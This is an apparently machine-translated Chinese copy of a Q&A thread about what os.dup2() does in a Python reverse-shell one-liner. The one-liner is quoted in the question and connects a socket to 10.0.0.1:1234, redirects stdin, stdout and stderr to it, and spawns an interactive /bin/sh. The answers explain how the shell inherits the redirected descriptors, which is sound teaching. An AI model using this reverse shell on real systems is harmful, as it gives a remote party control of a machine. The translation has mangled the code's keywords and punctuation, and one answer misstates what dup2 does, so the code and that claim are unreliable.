当与套接字一起使用时,os.dup2()在python反向shell中做什么? 导入套接字、子进程、操作系统; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s、 连接(((“10.0.0.1”,1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=子进程调用([“/bin/sh”,“-i”]);

当与套接字一起使用时,os.dup2()在python反向shell中做什么? 导入套接字、子进程、操作系统; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s、 连接(((“10.0.0.1”,1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); p=子进程调用([“/bin/sh”,“-i”]);,python,shell,sockets,Python,Shell,Sockets,我知道这会创建一个TCP套接字,连接到端口1234上的10.0.0.1。不过我有个问题 在这种情况下,os.dup2()s做什么?我知道它们与文件描述符有关,0是STDIN,1是STDOUT,2是STDERR,但我不知道它在这里起什么作用。它以一种为子进程保留的方式将套接字重定向到STDIN/STDOUT/STDERR。即,当代码执行/bin/sh时,shell继承重定向并通过套接字与远程用户通信(甚至不知道) 请参阅。正如phd在上面所评论的,一旦TCP ip4套接字被创建并在远程ip和端口上

我知道这会创建一个TCP套接字,连接到端口1234上的10.0.0.1。不过我有个问题


在这种情况下,
os.dup2()
s做什么?我知道它们与文件描述符有关,
0
STDIN
1
STDOUT
2
STDERR
,但我不知道它在这里起什么作用。

它以一种为子进程保留的方式将套接字重定向到STDIN/STDOUT/STDERR。即,当代码执行
/bin/sh
时,shell继承重定向并通过套接字与远程用户通信(甚至不知道)


请参阅。

正如phd在上面所评论的,一旦TCP ip4套接字被创建并在远程ip和端口上建立连接,os.dup2()调用系统调用以创建全新的文件描述符,并销毁原始的旧文件描述符,这些全新的文件描述符将被传递到由SUBSPROCESS语句创建的子shell中,这样,交互式shell将从套接字获取FD0 1 2

如果您看到进程树,您将看到“/bin/sh-i”是运行套接字的父进程的“子进程”


手册页可以成为您的朋友。如果在unix系统上安装了手册页,请使用
man dup2
。或者谷歌。这是个人主页。基本上,它看起来像是在使套接字成为stdin、stdout和stderr。所以无论它连接到什么,都可以控制连接的外壳。